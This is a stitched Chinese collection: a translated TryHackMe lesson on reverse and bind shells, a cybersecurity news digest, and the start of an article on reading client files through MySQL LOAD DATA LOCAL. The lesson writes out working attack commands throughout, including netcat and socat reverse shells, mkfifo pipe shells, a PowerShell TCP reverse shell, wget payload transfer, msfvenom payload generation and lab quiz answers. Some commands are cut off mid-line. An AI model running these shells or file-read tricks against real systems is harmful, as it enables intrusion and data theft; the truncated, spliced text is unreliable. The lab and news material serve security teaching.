Privilege Escalation 权限提升
第 1 章 前言 这是 tryhackme 渗透测试章节的最后一个房间。原本想谷歌机翻然后我手工看一下,但是感觉这样练习不了英文,所以全部手工翻译,实在翻不出来再交给谷歌。手工翻译不免存在勘误,建议英文好的读者朋友们直接去阅览原文。 第 2 章 shell 权限提升,简称提权。在讲提权之前,先说说常见的 shell 以及它们的加固。 2.1 shell 是什么? 在我们深入了解发送和接收 shell 的复杂性之前,理解 shell 是什么很重要。 简单来说,shell 就是我们与命令行环境 (CLI) 交互时使用的工具。例如,Linux 中常见的 bash 或 sh 程序都是 shell 的示例。Windows 中的 cmd.exe 和 Powershell 也是如此。 有时我们可在目标机上进行 RCE,在这种情况下我们希望利用此漏洞来获取在目标机的 shell。 简单来说,我们可以强制远程机器向我们发送对其的命令行访问(reverse shell),或是我们主动连接到该机器上并获得该机器的 shell。 reverse shell 就是反向/反弹 shell 的意思bind shell 就是正向 shell 2.2 工具篇 我们将使用多种工具来接收 reverse shell 和发送 bind shell。 通常我们需要恶意的 shell code 以及和生成的 shell 交互的方法。我们可通过以下几个工具实现这一点: 1. Netcat: Netcat 号称网络的 “瑞士军刀” 。它用于执行各种网络交互,包括在枚举期间抓取 banner 等。 然而对于我们来说更重要的是它可以用于接收反弹 shell 或者连接到目标机上的 bind shell 的远程端口。 注:默认情况下,Netcat shell 非常不稳定(容易丢失),所以后文会介绍改进的技术。 2. Socat: Socat 就像 steroids(英文原意是类固醇) 上的 netcat。它可以做所有相同的事情,甚至更多。 Socat shell 通常比 netcat shell 更稳定,从这个意义上说它远远优于 netcat。然而 socat 相比于 netcat 有以下两个问题: Socat 语法比 Netcat 难 Socat 普及性不如 Netcat。默认情况下,几乎每个 Linux 发行版都安装了 Netcat。但它们默认情况下很少安装 Socat。 这两个问题都有解决方法,我们将在后面介绍。 Socat 和 Netcat 都有用于 Windows 的 .exe 版本。 3. Metasploit -- multi/handler: 注意,以下有效载荷、有效负载等指的是 payload 的意思。 Metasploit 框架的 auxiliary/multi/handler 模块与 socat 和 netcat 一样,提供了用于接收反弹 shell 的功能。由于是 Metasploit 框架的一部分,所以 multi/handler 提供了一种成熟的方式来获取稳定的 shell,并提供了多种进一步的选项来改进捕获到的 shell。它也是与 meterpreter shell 交互的唯一方式,也是处理 staged payload (分阶段 payload?)的最简单方式。 4. Msfvenom: 与 multi/handler 一样,msfvenom 在技术上是 Metasploit 框架的一部分,但是,它作为独立工具提供。 Msfvenom 用于动态生成 payload 。虽然 msfvenom 可以生成除 reverse 和 bind shell 之外的 payload,但这不是本文的重点。 Msfvenom 是一个非常强大的工具,因此我们将在专门的任务中更详细地介绍它。 除了我们已经介绍过的工具之外,还有许多不同语言的一些 shell 存储库。其中最突出的一个是 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md。 此外,PentestMonkey https://web.archive.org/web/20200901140719/http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sh 除了这些在线资源,Kali Linux 还预装了位于 /usr/share/webshells 的各种 webshell。 https://github.com/danielmiessler/SecLists 虽然主要用于单词列表,但也包含一些用于获取 shell 的非常有用的代码。 2.3 Shell 的类型 我们主要对两种 shell 感兴趣:Reverse shell 和 bind shell。 Reverse shell(反弹/向 shell) 是指目标被迫连接到您的计算机。在您自己的计算机上,您可以使用上一个任务中提到的工具之一来设置用于接收连接的侦听器。 反向 shell 是绕过防火墙规则的好方法,因为防火墙规则可能会阻止您连接到目标上的任意端口。 反向 shell 的缺点是当通过 Internet 从一台机器接收 shell 时,您需要配置自己的网络以便接受它。(最经典的例子就是使用阿里的云服务器接收反弹的 shell 时要修改安全组规则) bind shell(正向 shell) 是指在目标上执行代码时,我们直接让其打开一个附加到 shell 上的监听器(即端口)。端口将会向互联网开放,这意味着您可以连接到代码打开的端口并以这种方式获得 RCE 的能力。这具有不需要在您自己的网络上进行任何配置的优点,但可能会被保护目标的防火墙阻止。 一般情况下,反向 shell 更容易执行和调试。以下会给出反弹 shell 和 正向 shell 的示例,请注意它们间的区别。 Reverse Shell 的例子: 让我们从更常见的反向 shell 开始。以下图为例,在左侧我们有一个反向 shell 侦听器——这是接收连接的地方。右侧是发送反向 shell 的模拟(实际上,这更有可能通过远程网站上的代码注入或类似的方式来完成)把左边的图片想象成你自己的电脑,把右边的图片想象成目标。 在攻击机器上:sudo nc -lvnp 443 在目标机器上:nc <攻击机的ip> <攻击机的端口> -e /bin/bash 请注意,在运行右侧的命令后,侦听器会收到一个连接。当运行 whoami 命令时,我们看到我们正在以目标用户的身份执行命令。这里重要的是我们正在攻击机上监听,并收到了来自目标的连接。 nc 的 -e 选项表示在连接成功后要执行的程序,这里表示连接成功之后把自己的 bash 发送到另一端 bind shell 的例子: bind shell 不太常见,但仍然非常有用。 以下图为例,在左侧同样是攻击者的计算机,而右侧依然是我们的模拟目标。但是为了稍微调整一下,这次我们将使用 Windows 目标。首先,我们在目标上启动一个侦听器——这次我们告诉它连接完毕后执行 cmd.exe。然后,在侦听器启动并运行的情况下,我们从自己的机器连接到新打开的端口。 在目标机上:nc -lvnp <port> -e "cmd.exe" 在攻击机上:nc <目标机ip> <port> 如您所见,这再次让我们在目标机上执行代码。请注意,这并非特定于 Windows。 这里要理解的重要一点是目标在监听特定端口,然后我们主动连接到目标的这个端口。 与此任务相关的最后一个概念是交互性。shell 可以是交互式的,也可以是非交互式的。 交互式:如果您使用过 Powershell、Bash、Zsh、sh 或任何其他标准 CLI 环境,那么您将习惯于交互式 shell。交互式的 shell 允许您在执行程序后与程序进行交互。例如,采用 SSH 登录的提示: 在这里您可以看到它以交互方式询问用户键入 yes 或 no 以继续连接。这是一个交互式程序,需要交互式 shell 才能运行。 非交互式 shell 不会给你那种 “奢侈” 。在非交互式 shell 中,您只能使用不需要用户交互即可正常运行的程序。不幸的是,大多数简单的反向 shell 和正向 shell 都是非交互式的,这会使进一步的利用变得更加棘手。让我们看看当我们尝试在非交互式 shell 中运行 SSH 时会发生什么: 请注意,whoami 命令(非交互式)执行地很好,但 ssh 命令(交互式)根本没有给我们任何输出。 注:交互式命令的输出确实会出现在某个地方,但是,弄清楚在哪里是您自己尝试的练习。可以说交互式程序在非交互式 shell 中不起作用。 此外, 上图的 listener 命令是用于演示的攻击机独有的别名,是 sudo rlwrap nc -lvnp 443 命令的简写方式,将在后续任务中介绍。除非已在本地配置别名,否则它将无法在任何其他计算机上运行。 回答下列问题: 哪种类型的 shell 会回连到您计算机上的侦听端口,反向 (R) 或绑定 (B)? 您已将恶意 shell 代码注入网站。您收到的 shell 可能是交互式的吗? (是或否) 使用 bind shell 时,您会在攻击者 (A) 还是目标 (T) 上执行侦听器? 2.4 Netcat 如前所述,Netcat 是渗透测试人员工具包中最基本的工具之一,涉及任何类型的网络。有了它,我们可以做各种各样有趣的事情,但现在让我们关注和 netcat 相关的 shell。 ++Reverse Shells++ 在前面的任务中,我们看到反弹 shell 需要 shellcode 和一个侦听器。执行 shell 的方法有很多种,因此我们将从查看侦听器开始。 使用 Linux 启动 netcat 侦听器的语法如下: nc -lvnp <端口号> -l 用于告诉 netcat 这将是一个监听器 -v 用于请求详细输出 -n 告诉 netcat 不解析主机名及DNS,在此不过多阐述。 -p 表示要监听的端口。 上一个任务中的示例使用 443 端口。实际上,您可以使用任何您喜欢的端口,只要还没有服务使用它即可。 请注意,如果您选择使用小于 1024 的端口,则在启动侦听器时需要加上 sudo。 使用众所周知的端口号(80、443 或 53 是不错的选择)通常是个好主意,因为这更有可能通过目标上的出站防火墙规则。 比如以下命令在 443 端口上打开一个侦听器: sudo nc -lvnp 443 然后,我们可以使用任意数量的 payload 连接到以上侦听器,具体取决于目标上的环境。 ++Bind Shells++ 如果我们希望在目标上获得 bind shell,那么我们可以假设已经有一个侦听器在目标的特定端口上等待我们,我们需要做的就是连接到它。其语法相对简单: nc <目标IP> <目标上的特定端口> 在这里,我们使用 netcat 在我们选择的端口上建立到目标的出站连接。 2.5 加固 Netcat shell 在得到一个 Netcat shell 之后,我们首先应该做什么? 答案是加固我们得到的 shell! 默认情况下,这些 shell 非常不稳定。例如按 Ctrl + C 会断开 shell。 此外它们还是非交互式的,并且经常有奇怪的格式错误。这是因为 netcat shell 实际上是在终端内运行的进程,而不是真正的终端本身。 幸运的是,有很多方法可以稳定 Linux 系统上的 netcat shell。下文我们将介绍三个加固 netcat shell 的方法。 注:Windows 反弹 shell 的加固往往很困难。好在我们下文介绍的第二种技术对此特别有用。 技术 1:Python 我们要讨论的第一种技术仅适用于 Linux 机器,因为它们几乎总是默认安装 Python。该技术有三个操作步骤: 首先要做的是在目标机的 shell 上(无论是反向的还是正向的)执行如下命令 python -c 'import pty;pty.spawn("/bin/bash") 它使用 Python 生成功能更好的 bash shell。请注意,某些目标可能需要指定 Python 版本。如果是这种情况,请根据需要将 “python” 替换为 “python2” 或 “python3”。 命令执行完毕后我们的 shell 看起来会更漂亮一些,但我们仍然无法使用 tab 键进行自动补齐,并且 Ctrl + C 仍会终止 shell。 第二步是在目标机的 shell 上执行 export TERM=xterm 命令。这将使我们能够访问诸如 clear 之类的术语命令。 最后也是最重要的一步,使用 Ctrl + Z 挂起目标的 shell 回到我们的终端并输入以下命令: stty raw -echo;fg 以上命令做了两件事情: 它关闭了我们的终端回显(这允许我们可以使用 tab 自动补齐以及在 shell 内部输入 Ctrl + C 终止进程)。 回到目标机的 shell 上从而完成整个加固 shell 的过程。 下图是一个完整的示例: 注意到如果 shell 断开了,那么你的终端上的任意输入都将不可见(因为之前我们禁用了终端回显)。不过我们可以输入 reset 命令修复这一点。 技术 2:rlwrap rlwrap 是一个程序,简单来说,它能让我们在收到 shell 后就立即拥有访问历史记录、tab 键自动补齐等功能。但是,如果您希望能够在 shell 中使用 Ctrl + C,则还需进行一些操作。 Kali 默认没有安装 rlwrap,所以首先使用 sudo apt install rlwrap 安装它。 使用 rlwrap 开启一个侦听器的语法很简单,仅需要在 nc 命令的前面加上 rlwrap 即可。 rlwrap nc -lvnp <监听的端口> 在我们的 netcat 侦听器前面加上 “rlwrap” 可以为我们提供一个功能更齐全的 shell。 这种技术在处理 Windows shell 时特别有用。(众所周知 Windows shell 很不稳定)。在处理 Linux 目标时,可以使用上述讲到的技术来加固 shell: 使用 Ctrl + Z 挂起 shell 使用如下命令加固 shell 并重新进入。 stty raw -echo;fg 技术 3:Socat 第三种稳定 shell 的方法是以 Netcat shell 为基础,得到一个更加稳定的 Socat shell。 请记住,此技术仅限于 Linux 目标。因为 Windows 上的 Socat shell 不会比 netcat shell 更稳定。 为了实现这种稳定方法,我们首先需要将一个 https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true(一个编译为没有依赖关系的程序版本)传输到目标机器。 如何上传文件到目标机器? 一般的方法是在存放 socat 二进制文件的目录下开启一个 web 服务器(在攻击机器上),然后让目标机访问该 web 服务器并下载 socat 文件即可。 如果安装了 python,可以使用以下命令开启一个 web 服务器: sudo python3 -m http.server 80 若是 python2 的话,则应输入以下命令: sudo python -m SimpleHTTPServer 然后就可以在目标机器的 netcat shell 上下载文件了。 如果 Linux 系统,可以使用 curl 或 wget (wget <LOCAL-IP>/socat -O /tmp/socat) 来下载文件。 如果是 Windows 系统,可以使用 Powershell 完成相同的操作。比如使用 Invoke-WebRequest 或 webrequest 系统类,具体取决于安装的 Powershell 版本(Invoke-WebRequest -uri <LOCAL-IP>/socat .exe -outfile C:\\Windows\temp\socat.exe)。 更改终端 tty 大小 使用上述任何技术来改变你的终端 tty 大小是一件很有用的事情。这是您的终端在使用常规 shell 时会自动执行的操作。然而,如果您想使用类似文本编辑器的东西来覆盖屏幕上的所有内容,则必须在反向或正向 shell 中手动更改终端 tty 大小。 首先,在攻击机上打开终端运行 stty -a 命令,并记下输出中 rows 和 columns 的值: 接下来,在您的 reverse / bind shell 中,键入: stty raws <number1> 和 stty cols <number2> 命令number1、number2 填写您在自己的终端中运行命令获得的数字(上图分别是 45 和 118)。 这将改变终端的注册宽度和高度,从而使得文本编辑器等依赖此类信息准确的程序正确打开。 回答以下问题: 您将如何将终端大小更改为 238 列? 在端口 80 上设置 Python3 网络服务器的语法是什么? 2.6 Socat Socat 在某些方面与 netcat 相似,但在许多其他方面有根本的不同。考虑 socat 的最简单方法是将其作为两点之间的连接器。在这个房间内,这基本上是一个监听端口和键盘,但是,它也可以是一个监听端口和一个文件,或者实际上是两个监听端口。 socat 所做的只是提供两点之间的链接——很像 Portal 游戏中的 portal gun! 我们再次以反向 shell 为例: 1. 反向 shell 如前所述,socat 的语法比 netcat 的语法难得多。 下面是 socat 中开启反向 shell 侦听器的语法: socat TCP-L:<端口> - 与 netcat 一样,这需要两个点(监听的端口和标准输入)并将它们连接在一起。 生成的 shell 是不稳定的,但这将适用于 Linux 或 Windows,并且等效于 nc -lvnp <port>。 在 Windows 上,我们将使用以下命令连接上述侦听器: socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes “pipes” 选项用于强制 powershell(或 cmd.exe)使用 Unix 风格的标准输入和输出。 Linux 目标的等效命令如下: socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li" Bind Shells 在 Linux 目标上,我们将使用以下命令: socat TCP-L:<PORT> EXEC:"bash -li" 在 Windows 目标上,我们将为我们的侦听器使用此命令: socat TCP-L:<PORT> EXEC:powershell.exe,pipes 我们使用 “pipes” 参数来连接 Unix 和 Windows 在 CLI 环境中处理输入和输出的方式。 无论目标是什么,我们都在我们的攻击机器上使用这个命令来连接到等待的监听器。 socat TCP:<TARGET-IP>:<TARGET-PORT> - 现在让我们来看看 Socat 的一个更强大的用途:一个完全稳定的 Linux tty 反向 shell。这仅在目标为 Linux 时有效,但要稳定得多。如前所述,socat 是一个非常通用的工具;然而,以下技术可能是其最有用的应用之一。这是新的侦听器语法: socat TCP-L:<port> FILE:`tty`,raw,echo=0 让我们把这条命令分解成两部分。像往常一样,我们将两点连接在一起。在这种情况下,这些点是一个监听端口和一个文件。具体来说,我们将当前 TTY 作为文件传递,并将 echo 设置为零。这大约相当于使用 netcat shell 时使用的 Ctrl + Z, stty raw -echo;fg 技巧 第一个侦听器可以连接到任何有效负载;但是,这个特殊的侦听器必须使用非常具体的 socat 命令来激活。这意味着目标必须安装 socat。然而大多数机器默认情况下没有安装 socat,但我们可以上传https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat?raw=true 二进制文件到目标上,然后就可以正常执行。特殊命令如下: socat TCP:<attacker-ip>:<attacker-port> EXEC:"bash -li",pty,stderr,sigint,setsid,sane 以上命令稍显复杂,所以让我们分解一下。 第一个部分很简单——我们要连接到我们自己机器上运行的侦听器。命令的第二部分使用 EXEC:"bash -li" 创建一个交互式 bash 会话。我们还传递参数:pty、stderr、sigint、setsid 和 sane: pty 在目标上分配一个伪终端——稳定过程的一部分 stderr 确保任何错误消息都显示在 shell 中(通常是非交互式 shell 的问题) sigint 将任何 Ctrl + C 命令传递到子进程中,允许我们在 shell 中终止命令 setsid 在新会话中创建进程 sane 稳定终端,试图 “正常化” 它。 要接受的内容很多,所以让我们看看它的实际应用。 与往常一样,在左侧我们有一个在本地攻击机器上运行的侦听器,在右侧我们有一个受感染目标的模拟,使用非交互式 shell 运行。 使用非交互式 netcat shell,我们执行特殊的 socat 命令,并在左侧的 socat 侦听器上接收到一个完全交互式的 bash shell: 请注意,socat shell 是完全交互式的,允许我们使用交互式命令,例如 SSH。然后可以通过设置 stty 值来进一步改进,如上一个任务中所示,这将让我们使用 Vim 或 Nano 等文本编辑器。 如果在任何时候 socat shell 无法正常工作,那么通过在命令中添加 -d -d 来增加详细程度是非常值得的。这对于实验目的非常有用,但对于一般用途通常不是必需的。 回答以下问题: 我们如何让 socat 监听 TCP 端口 8080? 2.7 加密的 Socat Shells socat 的众多优点之一是它能够创建加密的 shell —— 反向和正向 shell 都可加密。我们为什么要这样做?除非您拥有解密密钥,否则无法监视加密的 shell,因此通常能够绕过 IDS。 我们在上一个任务中介绍了如何创建基本的 shell,因此这里不再介绍语法。一句话足以说明如何使用加密shell:将原命令中的 TCP 部分换成 OPENSSL 即可。我们将在任务结束时介绍几个示例,但首先让我们谈谈证书。 我们首先需要生成证书才能使用加密的 shell。这在我们的攻击机器上最容易做到: openssl req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt 此命令创建一个 2048 位 RSA 密钥和匹配的证书文件,自签名,有效期不到一年。当您运行此命令时,它会要求您填写有关证书的信息。这可以留空,或随机填充。 然后我们需要将两个创建的文件合并到一个 .pem 文件中: cat shell.key shell.crt > shell.pem 现在,当我们设置我们的反向 shell 侦听器时,我们使用: socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 这将使用我们生成的证书设置一个 OPENSSL 侦听器。 verify=0 告诉连接不要费心尝试验证我们的证书是否已由公认的权威机构正确签名。请注意,必须在正在侦听的任何设备上使用该证书。 要返回连接,我们将使用: socat OPENSSL:<LOCAL-IP>:<LOCAL-PORT>,verify=0 EXEC:/bin/bash 相同的技术适用于 bind shell: 目标: socat OPENSSL-LISTEN:<PORT>,cert=shell.pem,verify=0 EXEC:cmd.exe,pipes 攻击者: socat OPENSSL:<TARGET-IP>:<TARGET-PORT>,verify=0 再次注意,即使对于 Windows 目标,证书也必须与侦听器一起使用,因此需要为 bind shell 复制 PEM 文件。 下图显示了来自 Linux 目标的 OPENSSL 反向 shell。和往常一样,目标在右边,攻击者在左边: 这种技术也适用于上一个任务中介绍的特殊的、仅限 Linux 的 TTY shell —— 弄清楚它的语法将是这个任务的挑战。如果您正在努力获得答案,请随意使用 Linux 练习盒(可部署在房间的尽头)进行实验。 回答以下问题: 使用上一个任务中的 tty 技术设置 OPENSSL-LISTENER 的语法是什么?使用端口 53 和一个名为“encrypt.pem”的 PEM 文件 socat OPENSSL-LISTEN:<53>,cert=encrypt.pem,verify=0 FILE:`tty`,raw,echo=0 如果您的 IP 是 10.10.10.5,您将使用什么语法连接回此侦听器? socat OPENSSL:10.10.10.5:53 EXEC:"bash -li",pty,stderr,sigint,setsid,sane 2.8 常用的 Shell Payloads 有效负载表示 payload 的意思 我们很快就会考虑使用 msfvenom 生成有效负载,但在此之前,让我们使用我们已经介绍过的工具看一下一些常见的有效负载。 之前的任务提到我们将研究使用 netcat 作为 bind shell 侦听器的一些方法,因此我们将从它开始。在某些版本的 netcat 中(包括 Kali 位于 /usr/share/windows-resources/binaries 处的 nc.exe Windows 版本,以及 Kali 自身所用的版本:netcat-traditional)有一个 -e 选项,它允许您在连接上执行一个程序。例如一个监听器:nc -lvnp <端口> -e /bin/bash 使用 netcat 连接到上述侦听器将在目标上生成一个 bind shell。 同样,对于反向 shell,使用 nc <LOCAL-IP> <PORT> -e /bin/bash 回连将导致目标上的反向 shell。 然而,这并没有包含在大多数版本的 netcat 中,因为它被广泛认为是非常不安全的(这很有趣,是吧?)。在几乎总是需要静态二进制文件的 Windows 上,此技术将非常有效。然而,在 Linux 上,我们将改为用此代码创建一个 bind shell 侦听器: mkfifo /tmp/f; nc -lvnp <端口> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm/tmp/f 以下段落是对该命令的技术解释。它略高于这个房间的高度,所以如果你现在看不懂也没关系——命令本身才是最重要的。 该命令首先在 /tmp/f 中创建https://www.linuxjournal.com/article/2156。然后它启动一个 netcat 侦听器,并将侦听器的输入连接到命名管道的输出。 netcat 侦听器的输出(即我们发送的命令)然后直接通过管道传输到 sh,将 stderr 输出流发送到 stdout,并将 stdout 本身发送到命名管道的输入,从而完成循环。 可以使用一个非常相似的命令来发送 netcat 反向 shell: mkfifo /tmp/f; nc <本地IP> <端口> < /tmp/f | /bin/sh >/tmp/f 2>&1; rm/tmp/f 除了使用 netcat connect 语法而不是 netcat listen 语法之外,此命令实际上与前一个命令相同。 以现代 Windows Server 为目标时,通常需要 Powershell 反向 shell,因此我们将在此处介绍标准的单行 PSH 反向 shell。 这个命令比较复杂,这里为了简单起见就不直接说明了。然而,它是一种非常有用的单行线,可以随身携带: powershell -c "$client = New-Object System.Net.Sockets.TCPClient('<ip>',<port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $ 为了使用它,我们需要用适当的 IP 和端口选择替换“<IP>”和“<port>”。然后可以将其复制到 cmd.exe shell(或在 Windows 服务器上执行命令的另一种方法,例如 webshell)并执行,从而产生反向 shell:    对于其他常见的反向 shell payload,https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md 是一个存储库,其中包含多种不同语言的 shell 代码(通常是用于复制和粘贴的单行格式)。阅读链接页面以查看可用内容非常值得。 回答以下问题: 在 Linux 中可以使用什么命令来创建命名管道? 查看链接的 Payloads all Things Reverse Shell Cheatsheet 并熟悉可用的语言。 2.9 msfvenom Msfvenom:所有和 payload 相关事物的一站式商店 作为 Metasploit 框架的一部分,msfvenom 主要用于生成反向 shell 和正向 shell。同时 msfvenom 也广泛用于低水平的 exploit 开发,比如在开发一些用于缓冲区溢出的 expolit 时生成十六进制 shellcode。 然而,msfvenom 也可以用于 生成多种格式的 payloads,比如 .exe、.apsx、.war、.py 等。 以下简单地介绍一下 msfvenom: msfvenom 的标准语法如下:msfvenom -p <PAYLOAD> <OPTIONS> 例如,为了生成一个 exe 格式的 Windows x64 反向 shell,我们可以使用:msfvenom -p windows/x64/shell/reverse_tcp -f exe -o shell.exe LHOST=<listen-IP> LPORT=<listen-port> 上述命令的四个选项含义如下: -f <格式>指定输出格式,在案例中是 exe -o <文件> 生成的 payload 的路径和文件名 LHOST=<IP>指定要回连的 IP LPORT=<port>要回连的本地机器的端口,可以是 0 到 65535 间的未使用的任意值。然而,使用小于 1024 的端口时要 root 权限 ++Staged vs Stageless++ 现在介绍两个新概念, staged 反向 shell payloads 和 stageless 反向 shell payloads。 Staged(分期的) paylodas 分为两部分发送。第一部分称为 stager。这是直接在服务器上执行的代码块,其会回连到一个处于等待状态的监听器,但它本身实际上不包含任意的反向 shell code。那 shell code在哪里呢?当 stager 连接到监听器时,其会使用连接来加载真正的 payload 并直接执行它,同时会预防 payload 接触硬盘,因为传统的反病毒解决方案可能会捕捉到硬盘里的 payload。 所以 payload 被分为两个部分:一个小的、初始的 stager 以及 stager 被激活时下载的更庞大的反向 shell。 Staged paylodas 要 Stageless payloads 更加常见。Stageless payloads 是完全自包含的。Stagsless payloads 存在一个代码块,当我们执行它时,其会马上发回一个 shell 给等待中的监听器。 Stagsless payloads通常更易于使用和捕获。然而,它们也更加庞大并且更容易被反病毒或入侵检测程序发现和移除。Staged paylodas 更难以使用,但是 初始的 stager 更加短小,所以有时不会被低效的反病毒软件察觉。现代防病毒解决方案还将利用反恶意软件扫描接口 (AMSI) 来检测由 stager 加载到内存中的 payloads,从而使分阶段的 payloads 在该区域的效率不如以前。 ++Meterpreter++在 Metasploit 主题中要谈论的另一个重要的事物就是 Meterpreter shell。Meterpreter shell 是 Metasploit 特有的全功能 shell。Meterpreter shell 完全稳定,这在渗透 windows 目标时非常有用。此外,Meterpreter shell 有许多内置的功能,比如文件上传和下载。如果我们想要使用 Metasploit post-exploitation 模块下的任意工具,那么我们就需要使用一个 meterpreter shell。meterpreter shell 的缺点是它们必须被 Met linux/86/shell/reverse_tcp 以上命令会生成一个用于 linux x86 目标的 stageless 反向 shell。但是以上命名约定对于 Windows32 操作系统的目标不太适用,对于这类目标,通常不指定体系结构。比如: windows/shell_reverse_tcp 对于 64 比特的 Windows 目标,通常指定体系结构为 x64。 以上的例子中所用的 payload 是 shell_reverse_tcp,这表明其是一个 stageless payload。为什么呢?因为 Stageless payloads 用 下划线表示。这个 payload 的 staged 版本是 shell/reverse_tcp,因为 staged payloads 用斜线来表示。 一个 32 位的 linux stageless Meterpreter payload 如下所示: linux/x86/meterpreter_reverse_tcp 当我们在使用 msfvenom 时,要注意到的另一件重要的事情是: msfvenom --list payloads 该命令可用于列出所有可用 payloads,我们可在该命令后拼接上管道符以及 grep 命令来查找特定 payloads 集合。举个例子: 以上命令会给出 32 位 linux 目标的 neterpreter paylodas 的完整集合。 回答以下问题: 生成一个用于 64 位 Windows 目标的 staged 反向 shell(.exe 格式) 哪个符号被用来表明一个 shell 是 stageless 的? 使用什么命令生成一个用于 64 位的 Linux 目标的 staged meterpreter 反向 shell?假定你的 ip 是 10.10.10.5,监听的端口是 443,shell 的格式是 elf,输出的文件名是 shell msfvenom -p linux/x64/meterpreter/reverse_tcp -LHOST=10.10.10.5 -LPORT=443 -f elf -o shell
网络安全日报 2023年04月07日
1、谷歌TAG发现APT43分支组织ARCHIPELAGO https://thehackernews.com/2023/04/google-tag-warns-of-north-korean-linked.html 谷歌威胁分析小组 (TAG)正在跟踪ARCHIPELAGO组织,并认为其为是朝鲜政府支持的威胁行为体,与针对韩国和美国的政府和军事人员、智库、政策制定者、学者和研究人员的攻击有关,是APT43的另一个分支组织。ARCHIPELAGO安装的攻击链涉及使用包含恶意链接的网络钓鱼电子邮件,当收件人单击这些链接时,链接会重定向到旨在获取凭据的虚假登录页面。 2、Sysdig详细介绍利用Log4j漏洞的代理劫持攻击 Sysdig公司在4月4日发布报告,描述了网络犯罪分子如何利用Log4j漏洞获取IP地址,并将带宽转售给代理软件服务提供商,从而允许某人隐藏其物理位置,这些攻击被称为代理劫持。 https://securityboulevard.com/2023/04/sysdig-details-proxyjacking-attack-leveraging-log4j-vulnerability/ 3、谷歌宣布新的Android应用程序数据删除政策 谷歌宣布了一项新的Google Play商店数据删除政策,该政策要求Android开发者为用户提供在线选项,以删除他们的帐户和应用内数据。新的Play商店规则将于明年全面生效,首先要求开发者在12月7日之前分享有关其数据删除做法的更多详细信息。用户将能够在应用程序的商品详情中看到新的数据删除区域以及数据安全部分中刷新的数据删除标志。 https://www.bleepingcomputer.com/news/google/google-will-require-android-apps-to-let-you-delete-your-account/ 4、印度选择不对人工智能进行监管 https://techcrunch.com/2023/04/05/india-opts-against-ai-regulation/ 印度不打算规范人工智能在南亚市场的发展,将该行业确定为国家的“重要战略”领域。印度电子和信息技术部周三在一份长篇书面回应中表示,已经评估了与人工智能相关的伦理问题以及偏见和歧视的风险。它正在实施必要的政策和基础设施措施,以在该国培育强大的人工智能行业,但不打算出台立法来规范其增长。该部断言,人工智能的扩张将对印度的创业和商业发展产生“动力效应”。 5、Money Message 勒索软件团伙声称已经入侵了 IT 巨头 MSI https://securityaffairs.com/144519/cyber-crime/money-message-claims-msi-hack.html 勒索软件团伙 Money Message 宣布已入侵位于台湾地区的IT 公司 MSI(微星国际)。勒索软件团伙将该公司添加到其 Tor 泄漏网站的受害者名单中,声称窃取了该公司的源代码,包括开发 bios 的框架和私钥。 6、OCR Labs 泄露敏感凭证信息,危及银行客户 https://securityaffairs.com/144514/data-breach/ocr-labs-data-leak.html OCR Labs 向银行和政府机构提供的数字识别工具泄露了敏感凭证,使客户面临严重风险。总部位于伦敦的 OCR Labs 是数字身份验证工具的主要供应商。它的服务被包括宝马、沃达丰、澳大利亚政府、西太平洋银行、澳新银行、汇丰银行和维珍金融在内的公司和金融机构使用。 7、小偷使用 CAN 注入黑客技术窃取汽车 https://www.securityweek.com/thieves-use-can-injection-hack-to-steal-cars/ 一个看似无辜的便携式扬声器可以隐藏一个黑客设备,该设备可以发起 CAN 注入攻击,这种攻击已被用于窃取汽车。 8、思科修补了多个产品中的代码和命令执行漏洞 https://www.securityweek.com/cisco-patches-code-and-command-execution-vulnerabilities-in-several-products/ 思科本周宣布了针对其产品组合中多个漏洞的补丁,包括影响其安全网络分析和身份服务引擎 (ISE) 产品的高严重性问题。 9、CNNVD发布漏洞奖励计划 https://mp.weixin.qq.com/s/lefKrBEfwdD1j3bNmxwV8w “CNNVD漏洞奖励计划”面向对象是为CNNVD报送漏洞的企业、团队以及个人,奖励其报送的高质量漏洞。本计划以精神表彰与物质奖励相结合的方式,鼓励引导安全研究人员积极有序提交漏洞,共同提升我国网络安全漏洞预警及风险消控能力水平。 10、日语文字处理软件Ichitaro中的漏洞可导致任意代码执行和其他问题 https://blog.talosintelligence.com/vuln-spotlight-justsystems-ichitaro Ichitaro 是日本流行的文字处理软件,由 JustSystems 生产,Cisco Talos 最近在 Ichitaro 中发现了四个漏洞,,可能导致任意代码执行。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
Mysql LOAD DATA读取客户端任意文件
前言 MySQL 客户端和服务端通信过程中是通过对话的形式来实现的,客户端发送一个操作请求,然后服务端根据客户端发送的请求来响应客户端,在这个过程中客户端如果一个操作需要两步才能完成,那么当它发送完第一个请求过后并不会存储这个请求,而是直接丢弃,所以第二步就是根据服务端的响应来继续进行,这里服务端就可以欺骗客户端做一些事情。 但是一般的通信都是客户端发送一个 MySQL 语句然后服务器端根据这条语句查询后返回结果,也没什么可以利用的。但是 MySQL 有个语法 https://dev.mysql.com/doc/refman/8.0/en/load-data.html 可以用来读取一个文件的内容并插入到表中。 从上图的官方文档说明可以看到,该命令既可以读取服务端的文件,也可以读取客户端的文件,这取决于 LOCAL modifier 是否给定。 读取服务端上的文件内容存入表中的 SQL 语句是: load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符'; 读取客户端上的文件内容存入表中的 SQL 语句是: load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符'; 